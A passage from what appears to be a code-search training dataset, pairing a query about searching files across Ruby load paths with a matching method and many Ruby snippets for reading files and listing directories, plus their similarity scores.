"def get_lines(filename)\n return File.open(filename, 'r').readlines\nend",
"def get_lines(filename)\n return File.open(filename, 'r').readlines\nend",
"def get_lines(filename)\n return File.open(filename, 'r').readlines\nend",
"def file_to_array file\n lines = []\n File.open(file, \"r\") do |infile|\n while (line = infile.gets)\n lines.push(line.gsub(\"\\n\", \"\").rstrip)\n end\n end\n lines\n end",
"def read_file(file)\r\n\tlines = IO.readlines(file)\r\n\tif lines != nil\r\n\t\tfor i in 0 .. lines.length-1\r\n\t\t\tlines[i] = lines[i].sub(\"\\n\",\"\")\r\n\t\tend\r\n\t\treturn lines[0..lines.length-1]\r\n\tend\r\n\treturn nil\r\nend",
"def get_source_content\n\t\treturn [] unless File.exists? @source\n\t\treturn File.read(@source).split(\"\\n\")\n\tend",
"def get_lines\n lines = []\n read_file.each_line{|l| lines << l.chomp }\n @total_lines = lines.shift.to_i\n lines\n end",
"def getContentsFromFile filetoread\n return File.read(Dir.pwd + '/' + filetoread)\nend",
"def getContentsFromFile filetoread\n return File.read(Dir.pwd + '/' + filetoread)\nend",
"def read_todos(filename)\n File.readlines(filename)\nend",
"def read_input_file(input_path)\n all_lines = []\n\n File.open(input_path, \"r:UTF-8\") do |file|\n while (line = file.gets)\n all_lines += [line]\n end\n end\n\n all_lines\nend",
"def read_content_from_file(file_path)\n names = file_path.split('/')\n file_name = names.pop\n directory = self.mkdir(names.join('/'))\n directory.children[file_name].content\n end",
"def getRawFileContents(path)\n rtn = ''\n\n begin\n file = File.open(path, 'r')\n file.each{|line|\n rtn += line.strip() + ' '\n }\n rescue\n return ''\n end\n\n return rtn\nend",
"def load\n arr = []\n begin\n while(!@file.eof?)\n line = @file.readline.chomp\n arr.concat(line.split)\n end\n ensure\n @file.close\n end\n arr\n end",
"def text_file_read(filename)\n text_file = File.open(filename, 'r')\n all_lines_from_file = text_file.read\n text_file.close\n return all_lines_from_file\nend",
"def readContents(filename)\r\n file = File.open(filename)\r\n contents = \"\"\r\n file.each { |line|\r\n contents << line\r\n }\r\n contents\r\nend",
"def filter\n read = []\n @file.each do |line|\n line = line.strip\n if !line[0].nil? && (line[0] != '/') # if line is not comment or blank append to output\n line = line.split(' ')[0] # removes inline comments\n read.append(line)\n end\n end\n read\n end",
"def read_file(file)\n\tlines = IO.readlines(file)\n\tif lines != nil\n\t\tfor i in 0 .. lines.length-1\n\t\t\tlines[i] = lines[i].sub(\"\\n\",\"\")\n\t\tend\n\t\treturn lines[0..lines.length-1]\n\tend\n\treturn nil\nend",
"def get_lines(filename); end",
"def readFile(fileName)\n if File.file?(fileName)\n return File.read(fileName).split(/\\n/)\n else\n return \"\"\n end \nend",
"def parse_txt_file(filename)\n file_lines = []\n File.open(filename).each do |line|\n file_lines << line.chomp\n end\n file_lines\nend",
"def get_lines raw_file\n lines = raw_file.split(\"\\n\").compact\n lines = lines.uniq.reject{|line| line.empty?}\n lines = lines.reject do |line| \n not LEGAL_CATEGORIES.include? line.split[0]\n end\n end",
"def load_file(path)\n file_array = IO.readlines(path)\n file_array.map {|element| element.chomp}\nend",
"def readlines(*args) IO.readlines(path, *args) end",
"def file_contents_without_cr(path)\n File.read(path).gsub(/\\r\\n/, \"\\n\")\n end",
"def body\n lines = ''\n in_head = true\n File.open(@file).each_line do |line|\n in_head = false if in_head and line.chomp.empty?\n lines << line unless in_head\n end\n return lines\n end",
"def get_dir_contents(path)\n\tfolder_metadata = @client.metadata(path)\n\tcontents = folder_metadata['contents']\n\n\tcontents_paths = []\n\tfor i in contents\n\t\tcontents_paths << i['path']\n\tend\n\tcontents_paths\nend",
"def read(path)\n File.open(path) do |f|\n until f.eof?\n line = f.gets.chomp\n next if line.empty? || line =~ /^%%/\n yield line.split(/\\t/).map! { |s| s.empty? ? nil : s }\n end\n end\n end",
"def get_files(site, folder)\n files = []\n Dir.chdir(File.join(site.source, folder)) { files = filter_entries(Dir.glob('**/*.*')) }\n files\n end",
"def read(file)\n content_set = Set.new\n open(file) do |line|\n next if line.nil?\n content_set << \"#{line}\"\n end\n content_set.to_a.join(\"\\n\")\n end",
"def readlines(*args)\n IO.readlines(@path, *args)\n end",
"def file_lines\r\n if File.exist?(@file_name)\r\n file_reader = File.open(@file_name, 'r')\r\n file_reader.each_line do |line|\r\n @lines.push line\r\n end\r\n file_reader.close\r\n @lines\r\n else\r\n raise \"File '#{@file_name}' does not exist\"\r\n end\r\n end",
"def lines\n File\n .read(@source_path)\n .lines\n .map(&:chomp)\n .reject { |line| line.strip.empty? || line.match(Tokens::COMMENT_MATCHER) }\n end",
"def le_arquivoL (arq)\n l = Array.new\n text = File.open(arq).read\n text.gsub!(/\\r\\n?/, \"\\n\")\n text.each_line do |line|\n l = l << line\n end\n return l\n end",
"def read_content(dir, magic_dir)\n @site.reader.get_entries(dir, magic_dir).map do |entry|\n Draft.new(site, site.source, dir, entry) if Draft.valid?(entry)\n end.reject do |entry|\n entry.nil?\n end\n end",
"def read_file(fname=nil)\n return if fname.nil?\n # Array we use to store entries\n lines = Array.new\n ah_data = Array.new\n # Deal with DOS line endings by reading in file, then manually splitting on DOS line ending\n File.open(fname).each_line do |line|\n lines = line.split(/\\r\\n?/).map(&:chomp)\n end\n return lines\nend",
"def lines\n escaped = content.scan(/(\\\\n|\\\\t|\\\\r)/)\n escaped.empty? ? content.split(/\\n/, -1) : [content]\n end",
"def read_from_file\n commands = []\n File.readlines(@location).each { |line| commands << line.strip }\n commands\n end",
"def load_lines file\n\n\t\tlines = Array.new\n\t\tlines = @file.split(\"\\n\")\n\n\t\t#fuck that, i dont like the dyanmic feed, just pre-parse it\n\t\tlines.map! do |line| #map overwrites the old array\n\t\t\tif line.include? '#'\n\t\t\t\tsplit = line.split '#'\n\t\t\t\t#puts split.to_s\n\t\t\t\tsplit.shift\n\t\t\telse\n\t\t\t\tline\n\t\t\tend\n\t\tend\n\n\t\t#removing blank lines\n\t\tlines.delete_if do |line|\n\t\t\ttrue if line.empty?\n\t\tend\n\n\t\tlines.each { |line| line.chomp! }\n\n\t\tlines\n\tend",
"def get_folder_files(folder_path)\n ensure_file_open!\n @file.glob(\"#{folder_path}/**/*\").to_h do |entry|\n entry_file_name = Pathname.new(entry.name)\n file_name = entry_file_name.relative_path_from(folder_path)\n [file_name, entry.get_input_stream(&:read)]\n end\n end",
"def list\n file_correct?(@file_path)\n file = File.open(@file_path)\n file.map { |row| row.split(' ') }\n end",
"def get_contents \n @contents = []\n\n sub_directory_names = Dir[CONTENT_ROOT_DIRECTORY + \"/*\"]\n\n sub_directory_names.each do |sub_directory_name|\n sub_directory_basename = File.basename(sub_directory_name)\n @contents.push(Content.new(sub_directory_basename))\n end\n end",
"def getFileContents(file)\n fileContent = \"\";\n File.open(file).each do |line|\n fileContent += line;\n end\n fileContent;\nend",
"def load_file_contents(filename)\n File.open(filename).readlines\n end",
"def readlines\n lns = infile.readlines.map(&:strip)\n infile.close unless infile.tty?\n lns\n end",
"def content_lines\n lines = []\n\n reader.pages.each do |page|\n page.text.split(\"\\n\").each do |line|\n if line =~ RE_FIRST_COLUMN_IS_NUMBER\n lines << line\n end\n end\n end\n\n lines\n end",
"def contents(id = '')\n folder = id.empty? ? box_client.root_folder : box_client.folder_by_id(id)\n values = []\n\n folder.items(ITEM_LIMIT, 0, %w[name size created_at]).collect do |f|\n values << directory_entry(f)\n end\n @entries = values.compact\n\n @sorter.call(@entries)\n end",
"def get_file_as_string_array\n file = (\"#{File.dirname(__FILE__)}/../data/seed.txt\")\n string_array = []\n \n File.open(file, 'r') do |f|\n f.each_line do |line|\n string_array << line\n end\n end\n \n string_array\n end",
"def directory_contents(directory)\n return Dir.glob(File.join(directory, '*'))\n end",
"def readlines(eol=$/)\n ary = []\n ary << line while line = self.gets(eol)\n ary\n end",
"def read_file(filename)\n\tfile = File.new(filename, \"r\")\n\tcontent = \"\"\n\tbegin\n\t\twhile (line = file.readline)\n\t\t\tcontent += line\n\t\tend\n\trescue EOFError\n\t\tfile.close\n\tend\n\treturn content.strip\nend",
"def read_content(entry)\n entry.rewind if entry.respond_to? :rewind\n case entry\n when File, Tempfile, StringIO then entry.read\n when Dir then (entry.entries - ['.', '..']).collect { |filename| read_content(Pathname.new(File.join(entry.path, filename))) }.compact.sort\n when String then entry\n when Pathname then\n if entry.directory?\n read_content(entry)\n elsif entry.file?\n File.open(entry, 'r:binary').read\n end\n end\nend",
"def line_maker\n @lines = File.readlines(path, chomp: true)\n end",
"def get_file_contents(file_path)\n input_file = File.open(file_path, 'r')\n input_file_contents = input_file.read\n input_file.close\n input_file_contents\n end",
"def lines\n\t\tcontents.split(\"\\n\")\n\tend",
"def lines\n\t\tcontents.split(\"\\n\")\n\tend",
"def directory_contents(path)\n\tputs ''\n\tfor i in get_dir_contents(path)\n\t\tputs i\n\tend\n\tputs ''\n\treturn nil\nend",
"def run_through_directory\n@file_array = []\n Dir.foreach('text_files') do |item|\n next if item == '.' or item == '..'\n @file_array << item\n end\nend",
"def safe_readlines(filename)\n unless File.exists?(filename)\n puts \"File #{filename} not found\"\n return\n end\n\n # assume files are not huge as their comparison makes no sense in this case\n File.readlines(filename).map{|line| line.strip}\nend",
"def get_lines\n lines = []\n line = \"\"\n until line == \".\"\n line = Readline.readline\n lines << line\n end\n lines.join(\"\\n\")\n end",
"def lines\n content.lines.map(&:chomp)\n end",
"def load_list filename\n\tlist = []\n\tbegin\n\t\topen filename do |f|\n\t\t\tuntil (line = f.gets).nil?\n\t\t\t\tnext if line.strip.empty?\n\t\t\t\tlist << line.strip\n\t\t\tend\n\t\tend\n\trescue Errno::ENOENT\n\tend\n\tlist\nend",
"def file_array_parser\n @array_of_parse_files = []\n file_array.each do |file|\n File.open(\"text_files/#{file}\").readlines.each do |line|\n if line.include?(\"\\n\") # removes '\\n' (line breaker)\n @array_of_parse_files << [line.gsub!(/\\n/, '')]\n else\n @array_of_parse_files << [line]\n end \n end\n @array_of_parse_files \n end\n\nend",
"def get_entries(dir, subfolder)\n base = site.in_source_dir(dir, subfolder)\n return [] unless File.exist?(base)\n\n entries = Dir.chdir(base) { filter_entries(Dir[\"**/*\"], base) }\n entries.delete_if { |e| File.directory?(site.in_source_dir(base, e)) }\n end",
"def get_entries(dir, subfolder)\n base = site.in_source_dir(dir, subfolder)\n return [] unless File.exist?(base)\n\n entries = Dir.chdir(base) { filter_entries(Dir[\"**/*\"], base) }\n entries.delete_if { |e| File.directory?(site.in_source_dir(base, e)) }\n end",
"def all_entries\n entries = []\n Dir.chdir(@input_dir) do\n entries = Dir.glob(File.join('**', '**')) - %w[mimetype]\n end\n\n entries\n end",
"def read_file pn\n pn.readlines.map(&:chomp)\n .each do |line|\n @entries.add line, pn\n end\n end",
"def import_ori(file_path)\n string = IO.read(file_path)\n array = string.split(\"\\n\")\n array.shift\n return array\n end",
"def read_keys_file(path)\n return [] unless File.exists?(path)\n File.readlines(path).map! { |l| l.chomp.strip }\n end",
"def file_to_a file_path_str, delimiter=\"\\n\"\n File.read(file_path_str).lines(separator=delimiter)\n end",
"def read_posts(dir); end",
"def lines\n return self.sale.file_content.lines[self.begins_at_line..self.ends_at_line]\n end",
"def entries(path)\n if File.directory?(path)\n Dir.entries(path).reject { |entry| entry =~ /^\\.|~$|^\\#.*\\#$/ }.sort\n else\n []\n end\n end",
"def read\n IO.readlines(@sieve_path)\n rescue\n return []\n end",
"def clean_lines\n lines = @file_content.split(\"\\r\").select { |line| !line.match(/$\\s*#/)} unless @file_content.nil?\n end",
"def getCleanText(path)\n lines = []\n\n File.open(path, 'r'){|file|\n file.each{|line|\n line = line.strip()\n\n # Skip empty and header lines.\n if (line == '' || line == 'WEBVTT')\n next\n end\n\n # Skip timing lines.\n if (line.match(/\\d+:\\d\\+.\\d+ --> \\d+:\\d\\+.\\d+/))\n next\n end\n\n lines << line\n }\n }\n\n return lines.join(\"\\n\")\nend",
"def open_file (file)\r\n \r\n data = Array.new\r\n input = File.new(file, \"r\")\r\n input.gets\r\n while line = input.gets # gets each line of the file\r\n line.chomp! # deletes \\n\r\n data << line\r\n end\r\n input.close\r\n \r\n return data\r\n \r\nend",
"def load_categories(file)\n categories = IO.readlines(file)\n\n categories.each do |cat|\n cat.strip!\n end\n\n return categories\nend",
"def read_content(dir, magic_dir, matcher); end",
"def contents\n File.read(path) if exists?\n end",
"def file_content_trimmed(path)\n File.read(path).gsub(/\\s+/, ' ').strip\n end",
"def read(files); end"
] |
[
"0.6945614",
"0.6840127",
"0.672195",
"0.6704331",
"0.6659768",
"0.65465933",
"0.65057945",
"0.63903075",
"0.6358061",
"0.6334009",
"0.632364",
"0.63061744",
"0.62727046",
"0.6143623",
"0.6139557",
"0.6111584",
"0.61075675",
"0.6101849",
"0.6100708",
"0.6100708",
"0.6100708",
"0.60862154",
"0.60331464",
"0.6011705",
"0.6001589",
"0.59689736",
"0.59689736",
"0.59530157",
"0.59435725",
"0.5933306",
"0.5930446",
"0.5888774",
"0.5877675",
"0.58765537",
"0.5864813",
"0.5859432",
"0.58444405",
"0.58429825",
"0.58341277",
"0.5750753",
"0.57442284",
"0.57218844",
"0.57214814",
"0.5698751",
"0.56863046",
"0.56805384",
"0.5676685",
"0.56750894",
"0.56522113",
"0.5646813",
"0.5623181",
"0.5622015",
"0.56195474",
"0.56138635",
"0.56101817",
"0.55978644",
"0.5591108",
"0.55898196",
"0.55708385",
"0.55598086",
"0.55494153",
"0.55364186",
"0.5524298",
"0.55104434",
"0.55093056",
"0.54728",
"0.543211",
"0.5426045",
"0.5424465",
"0.5420268",
"0.5420039",
"0.53991807",
"0.5393125",
"0.5393125",
"0.53850466",
"0.5376391",
"0.53701985",
"0.53588843",
"0.5341584",
"0.5340848",
"0.5330118",
"0.53101176",
"0.53101176",
"0.530563",
"0.5291163",
"0.52894276",
"0.5283554",
"0.52797604",
"0.52768797",
"0.5274433",
"0.5226422",
"0.52249116",
"0.52224493",
"0.5218988",
"0.52147424",
"0.52105945",
"0.52049106",
"0.5203013",
"0.51944864",
"0.5186746"
] |
0.70520884
|
0
|
Search a file in all load_paths, starting from last to first, so last takes precedence over first.
|
def find(name)
Forgery.load_paths.reverse.each do |path|
file = "#{path}/#{@folder}/#{name}"
return file if File.exists?(file)
end
raise ArgumentError.new("File '#{name}' wasn't found in '#{@folder}' folder. Searched paths: \n#{Forgery.load_paths.join('\n')}")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def lookup!\n $LOAD_PATH.each do |base|\n Dir[File.join(base, *file_lookup_paths)].each do |path|\n path = path.delete_prefix(\"#{base}/\")\n require path\n rescue Exception\n # No problem\n end\n end\n end",
"def loadpath(*paths)\r\n paths.reverse_each do |path|\r\n $LOAD_PATH.unshift File.expand_path(path)\r\n end\r\n \r\n $LOAD_PATH.uniq!\r\n $LOAD_PATH\r\n end",
"def find_files_for_reload\n paths = [ './', *$LOAD_PATH ].uniq\n [ $0, *$LOADED_FEATURES ].uniq.map do |file|\n next if file =~ /\\.(so|bundle)$/\n yield(find(file, paths))\n end\n end",
"def set_load_paths(*paths)\n $:.concat(paths); load_paths.concat(paths)\n $:.uniq!; load_paths.uniq!\n end",
"def first_existing(*paths)\n\t\t\tlast_path = nil\n\t\t\tpaths.each do |path|\n\t\t\t\tlast_path = path\n\t\t\t\tbreak if @io.exist?(path)\n\t\t\tend\n\t\t\tlast_path\n\t\tend",
"def internal_load_paths(paths)\n load_paths = []\n unless paths.is_a? Array\n paths = [paths]\n end\n \n paths.each do |path|\n expanded_path = File.expand_path(path)\n if File.exists?( expanded_path )\n @class_loader.addPath( expanded_path )\n \n load_paths << expanded_path\n end\n end\n \n load_paths\n end",
"def load_path(match, options={})\n return [] if options[:from]\n\n options = valid_load_options(options)\n\n found = []\n $LOAD_PATH.uniq.each do |path|\n list = Dir.glob(File.join(File.expand_path(path), match))\n list = list.map{ |d| d.chomp('/') }\n # return absolute path unless relative flag\n if options[:relative]\n # the extra '' in File.join adds a '/' to the end of the path\n list = list.map{ |f| f.sub(File.join(path, ''), '') }\n end\n found.concat(list)\n end\n found\n end",
"def load_all_from_files\n\t\tload_hash_from_file($searched, $progDir+'searched.txt')\n\t\tload_hash_from_file($downloaded, $progDir+'downloaded.txt')\n\t\tload_array_from_file($toSearch, $progDir+'toSearch.txt')\n\t\tload_array_from_file($toDownload, $progDir+'toDownload.txt')\n\trescue => e\n\t\t$error.save_error_to_file(__method__, e, $specialErrorTxt)\n\tend",
"def load_all\n return if defined?(@loaded_all)\n\n load_env\n\n paths = search_path\n unless paths.nil?\n paths.each do |dir|\n # dir is already an absolute path\n Dir.glob(File.join(dir, '*.rb')).each do |path|\n # exclude dirs that end with .rb\n load_file(path) if File.file?(path)\n end\n end\n end\n\n @loaded_all = true\n end",
"def load_files_of(path)\n Dir.foreach(path) do |file|\n src = [path, file].join('/')\n \n # call yourself if file is a directory\n load_files_of(src) if File.directory?(src) and file != '.' and file != '..'\n \n sym = File.basename(file, '.rb').split('_').map{|el| el.capitalize}.join('').to_sym\n unless (src == __FILE__) or \n File.directory?(file) or \n !(src[-3,3] == '.rb') or \n (REQUIRE_RELATIVE.include?(file))\n autoload sym, src\n end\n end\nend",
"def require_one(load_path)\n Dir.glob(\"#{load_path}/**/*.rb\").sort.each(&method(:load_class_for))\n end",
"def find_loadpath(match, options={})\n plugins = []\n #directory = options[:directory] || DIRECTORY\n $LOAD_PATH.uniq.each do |path|\n path = File.expand_path(path)\n #list = Dir.glob(File.join(path, directory, match))\n list = Dir.glob(File.join(path, match))\n list = list.map{ |d| d.chomp('/') }\n plugins.concat(list)\n end\n plugins\n end",
"def load_file_path!\n @files = FilepathScanner.call(\n include_paths,\n exclude_path_regexps,\n recursive_scan: recursive_include\n )\n end",
"def load_paths(paths)\n load_paths = []\n unless paths.is_a? Array\n paths = [paths]\n end\n \n paths.each do |path|\n expanded_path = File.expand_path(path)\n if !@loaded_paths.include?( expanded_path ) && File.exists?( expanded_path )\n $CLASSPATH << expanded_path\n load_paths << expanded_path\n @loaded_paths << expanded_path\n end\n end\n \n load_paths\n end",
"def search_for_file(path_suffix)\n path_suffix += \".rb\" unless path_suffix.ends_with?(\".rb\")\n\n autoload_paths.each do |root|\n path = File.join(root, path_suffix)\n return path if File.file? path\n end\n nil # Gee, I sure wish we had first_match ;-)\n end",
"def load_path(match, options={})\n found = []\n systems.each do |system|\n found.concat system.load_path(match, options)\n end\n found.uniq\n end",
"def lookup_file_path\n file_path_list.each do |candidate_file_path|\n next unless File.file?(File.expand_path(candidate_file_path))\n return candidate_file_path\n end\n nil\n end",
"def include_load_paths(load_paths)\n load_paths.each do |load_path|\n expanded_load_path = File.expand_path(load_path)\n\n unless $LOAD_PATH.include? expanded_load_path\n $LOAD_PATH.unshift expanded_load_path\n end\n end\n end",
"def loadpath(*list)\n @loadpath.concat(makelist(list)) unless list.empty?\n @loadpath\n end",
"def each_file\n return unless block_given?\n\n loc_path = LokaliseRails.locales_path\n Dir[\"#{loc_path}/**/*\"].sort.each do |f|\n full_path = Pathname.new f\n\n next unless file_matches_criteria? full_path\n\n relative_path = full_path.relative_path_from Pathname.new(loc_path)\n\n yield full_path, relative_path\n end\n end",
"def lookup(*files, **options)\n result = possible_paths(*files, **options).detect { |file| file.exist? }\n block_given? ? yield(result) : result if result\n end",
"def load_paths\n @load_paths ||= Config::LoadPaths.new\n end",
"def _resolve(file)\n imported_path = nil\n\n IO.foreach(file) do |line|\n # Implementing subclasses may throw :done from the parse method when\n # the file is exhausted for dependency declaration possibilities.\n catch(:done) do\n imported_path = parse(line, imported_path)\n\n # If a dependency declaration was found\n if imported_path\n # Resolves a path relative to the file that imported it\n imported_path = resolve_path(imported_path, file)\n\n if File.directory?(imported_path)\n imported_files = Dir.glob(File.join(imported_path, \"**\", \"*#{extension}\"))\n else\n imported_files = [imported_path]\n end\n\n imported_files.each do |imported_file|\n # Only keep processing file if it's not already included.\n # Yield to block to allow caller to ignore file\n if !@files.include?(imported_file) && (!block_given? || yield(imported_file))\n # Check this file for imports before adding it to get order right\n _resolve(imported_file) { |f| f != File.expand_path(file) }\n end\n end\n end\n end\n end\n\n file = File.expand_path(file)\n @files << file if !@files.include?(file) && (!block_given? || yield(file))\n end",
"def prepend_load_path(sub_dirs)\n priority = sub_dirs.reverse\n priority.each do |sub_dir|\n path = File.expand_path(File.join(File.dirname(__FILE__), sub_dir))\n #puts path\n $LOAD_PATH.unshift(path) unless $LOAD_PATH.include?(path)\n end\nend",
"def enumerate_available path\n trace :loading, \"Enumerating under #{path.inspect}\" do\n Loadable.new(path).\n enumerate.\n map do |filename|\n begin\n require(pathname = path+\"/\"+filename)\n trace :loading, \"Loaded #{pathname}\"\n filename\n rescue LoadError => e\n trace :loading, \"Can't load #{pathname}: #{e.class}: #{e.message} #{e.backtrace[0]}\"\n nil\n rescue Exception => e\n $stderr.puts \"Can't load #{pathname}: #{e.class}: #{e.message} #{e.backtrace[0]}\"\n nil\n end\n end.compact\n end\n end",
"def load(*files)\n files.map { |f|\n evaluate(File.read(f).gsub(/\\A#!.*$/, ''), f, 1)\n }.last\n end",
"def load!(alt_path=nil)\n path = alt_path ? Pathname.new(alt_path) : pathname()\n path.glob('*').each do |file|\n #next if file.to_s.index(/[.]/) # TODO: rejection filter\n name = file.basename #path_to_name(file, path)\n self[name] = get!(file)\n end\n self\n end",
"def search_for_file_with_singular(path_suffix)\n search_for_file_without_singular(path_suffix) || begin\n path_suffix_singular = path_suffix.singularize + '.rb' unless path_suffix.ends_with? '.rb'\n load_paths.each do |root|\n path = File.join(root, path_suffix_singular)\n return path if File.file? path\n end\n nil\n end\n end",
"def load_path\n paths, file = [\"\"], current_file\n paths << File.dirname(file) if file\n paths + LOAD_PATH\n end",
"def load_relevant_path(source, words, remaining_words, priority)\n if source.source_type == :file\n update_min_loaded_priority(priority)\n tool_class = get_tool(words, priority).tool_class\n InputFile.evaluate(tool_class, words, priority, remaining_words, source, self)\n else\n do_preload(source.source_path)\n load_index_in(source, words, remaining_words, priority)\n ::Dir.entries(source.source_path).each do |child|\n load_child_in(source, child, words, remaining_words, priority)\n end\n end\n end",
"def resolve(logical_path, options = {})\n # If a block is given, preform an iterable search\n if block_given?\n args = attributes_for(logical_path).search_paths + [options]\n trail.find(*args) do |path|\n yield Pathname.new(path)\n end\n else\n resolve(logical_path, options) do |pathname|\n return pathname\n end\n raise FileNotFound, \"couldn't find file '#{logical_path}'\"\n end\n end",
"def register_slices_from_search_path!\n slice_files_from_search_path.each do |slice_file|\n absolute_path = File.expand_path(slice_file)\n Merb.logger.info!(\"Found slice '#{File.basename(absolute_path, '.rb')}' in search path at #{absolute_path.relative_path_from(Merb.root)}\")\n Merb::Slices::Loader.load_classes(absolute_path)\n end\n end",
"def loadConfigurationFiles\n baseDirectory = 'configuration'\n\n mainDirectory = 'Configuration'\n customDirectory = 'myConfiguration'\n\n mainPath = Nil.joinPaths(baseDirectory, mainDirectory)\n customPath = Nil.joinPaths(baseDirectory, customDirectory)\n\n targets = Nil.readDirectory(mainPath)\n targets = targets.map{|x| ConfigurationEntry.new(x)}\n\n priorityFiles =\n [\n #need to make an exception for the User.rb here because it needs to get included first\n ['User', 2],\n ['Torrent', 1],\n ]\n\n priorityFiles.each do |name, priority|\n name = \"#{name}.rb\"\n targets.each do |entry|\n if entry.target.name == name\n entry.priority = priority\n break\n end\n end\n end\n\n targets.sort!\n\n targets.each do |entry|\n target = entry.target\n customPath = Nil.joinPaths(customPath, target.name)\n if File.exists?(customPath)\n require customPath\n else\n require target.path\n end\n end\nend",
"def add_search_path_hierarchy(start: nil, terminate: [], high_priority: false)\n path = start || ::Dir.pwd\n paths = []\n loop do\n break if terminate.include?(path)\n paths << path\n next_path = ::File.dirname(path)\n break if next_path == path\n path = next_path\n end\n paths.reverse! if high_priority\n paths.each do |p|\n add_search_path(p, high_priority: high_priority)\n end\n self\n end",
"def load_imports\n while fn = @pending_imports.shift\n next if @imported.member?(fn)\n ext = File.extname(fn)\n loader = @loaders[ext] || @default_loader\n loader.load(fn)\n @imported << fn\n end\n end",
"def load_paths\n unless @load_paths\n @load_paths = []\n \n if File.directory?(app_path)\n @load_paths << app_path\n \n # Sort for consistency across platforms\n @load_paths.concat(Dir[\"#{app_path}/*/\"].map(&:chop).sort!)\n end\n end\n \n @load_paths\n end",
"def lookup(base_path, relative_path, options={})\n exts = default_file_extensions\n if options[:load] or exts.include?(File.extname(relative_path))\n abspath = File.join(base_path, relative_path)\n File.exist?(abspath) ? abspath : nil\n else\n exts.each do |ext|\n abspath = File.join(base_path, relative_path + ext)\n return abspath if File.exist?(abspath)\n end\n nil\n end\n end",
"def find(path); end",
"def find(path); end",
"def search\n Dir.glob(@config.target_file_pattern, File::FNM_CASEFOLD).each do |file_path|\n next if FileTest.directory?(file_path)\n\n extension = get_extension(file_path)\n tokens = get_tokens(file_path, extension)\n search_romaji(extension, tokens, file_path)\n end\n\n nil\n end",
"def load_paths=(dirs)\n dirs.each do |dir|\n directory = File.expand_path(dir)\n $LOAD_PATH.unshift(directory) unless $LOAD_PATH.include?(directory)\n Dir[\"#{directory}/*.rb\"].each { |file| require file }\n end\n end",
"def _lookup!(path)\n found = nil\n\n $LOAD_PATH.each do |base|\n rb_file = File.join( base, \"translation_maps\", \"#{path}.rb\" )\n yaml_file = File.join( base, \"translation_maps\", \"#{path}.yaml\" )\n prop_file = File.join(base, \"translation_maps\", \"#{path}.properties\" )\n\n if File.exist? rb_file\n found = eval( File.open(rb_file).read , binding, rb_file )\n break\n elsif File.exist? yaml_file\n found = YAML.load_file(yaml_file)\n break\n elsif File.exist? prop_file\n found = Traject::TranslationMap.read_properties(prop_file)\n break\n end\n end\n\n # Cached hash can't be mutated without weird consequences, let's\n # freeze it!\n found.freeze if found\n\n return found\n end",
"def load_ruby_files(directory = '.')\n print \"Loading ruby files...\\n\\n\"\n files = `find #{directory} -type f -name '*.rb'`\n files.split(/\\s+/).each do |f|\n begin\n load File.expand_path(f)\n rescue Exception => e\n puts \"failed loading '#{f[/\\b[\\-\\w]+\\/.*rb$/]}': #{e}\"\n end\n end\n puts \"Done\"\nend",
"def load_paths\n @load_paths ||= [\"urls.rb\", \"config/urls.rb\", \"mailers/*.rb\", \"controllers/**/*.rb\", \"controllers.rb\", \"helpers/*.rb\"]\n end",
"def require_files\n @load_paths.each do |path|\n Dir[\"#{path}/**/*\"].each do |f|\n require f\n end\n end\n end",
"def set_load_path!\n load_paths = configuration.load_paths || [] # TODO: from script/console the configuration isn't ran.\n load_paths.reverse_each { |dir| $LOAD_PATH.unshift(dir) if File.directory?(dir) } unless Rucola::RCApp.test? # FIXME: why??\n $LOAD_PATH.uniq!\n end",
"def load_required\n Dir[\"#{folder}/**/*.rb\"].each{|m|load m}\n end",
"def find_path(loadpath, pathname, options)\n return nil if loadpath.empty?\n\n suffix = options[:suffix] || options[:suffix].nil?\n #suffix = true if options[:require] # TODO: Is this always true?\n suffix = false if SUFFIXES.include?(::File.extname(pathname)) # TODO: Why not just add '' to SUFFIXES?\n\n suffixes = suffix ? SUFFIXES : SUFFIXES_NOT\n\n loadpath.each do |lpath|\n suffixes.each do |ext|\n f = ::File.join(lpath, pathname + ext)\n return f if ::File.file?(f)\n end\n end\n\n return nil\n end",
"def all\n Pathname.new(dir).children.map do |score_dir|\n load_best score_dir\n end\n end",
"def load_files(options = {})\r\n files = files_newer_than(0).sort_by{|a| number_from_name(a).to_i}\r\n return if files.empty?\r\n log.debug \"files: #{files.inspect}\"\r\n \r\n last_bulk = files.select {|fn| bulk_file?(fn)}.last\r\n if last_bulk\r\n to_load = files[files.index(last_bulk)..-1]\r\n else\r\n to_load = files\r\n end\r\n\r\n counter = 0\r\n TranslationBundle.delete_all if options[:force]\r\n to_load.each {|fn| counter += load_file(fn, options)}\r\n @report << \"no files loaded - they are already in the database\\n\" if counter == 0\r\n counter\r\n end",
"def find(path, options={})\n path = path.to_s\n\n suffix = options[:suffix]\n search = options[:search]\n legacy = options[:legacy]\n\nprint path if MONITOR\n\n # Ruby appears to have a special exception for enumerator!!!\n #return nil if path == 'enumerator' \n\n # TODO: absolute path ???\n if /^\\// =~ path\n return nil\n end\n\n if path.index(':') # a specified library\n name, path = path.split(':')\n lib = Library.open(name)\n file = lib.include?(path, options)\nputs \" (1 direct)\" if MONITOR\n return file\n end\n\n # try the load stack (TODO: just last or all?)\n load_stack.reverse_each do |lib|\n if file = lib.include?(path, options)\nputs \" (2 stack)\" if MONITOR\n return file\n end\n end\n #last = load_stack.last\n #if last && file = last.include?(file)\n # return file\n #end\n\n # if the head of the path is the library\n if path.index('/') or path.index('\\\\')\n name, *_ = path.split(/\\/|\\\\/)\n lib = Library[name]\n if lib && file = lib.include?(path, options)\nputs \" (3 indirect)\" if MONITOR\n return file\n end\n end\n\n # try ruby\n lib = Library['ruby']\n if file = lib.include?(path, options)\nputs \" (4 ruby core)\" if MONITOR\n return file\n end\n \n # a plain library name?\n if !path.index('/') && lib = Library.instance(path)\n if file = lib.default # default file to load\nputs \" (5 plain library name)\" if MONITOR\n return file\n end\n end\n\n # if fallback to brute force search\n if search or legacy\n result = search(path, options)\nputs \" (6 brute search)\" if MONITOR\n return result if result\n end\n\nputs \" (7 fallback)\" if MONITOR\n nil\n end",
"def app_load_path(*paths)\n paths.each do |path|\n dir = app_path(path)\n $LOAD_PATH.unshift(dir) unless $LOAD_PATH.include?(dir)\n end\nend",
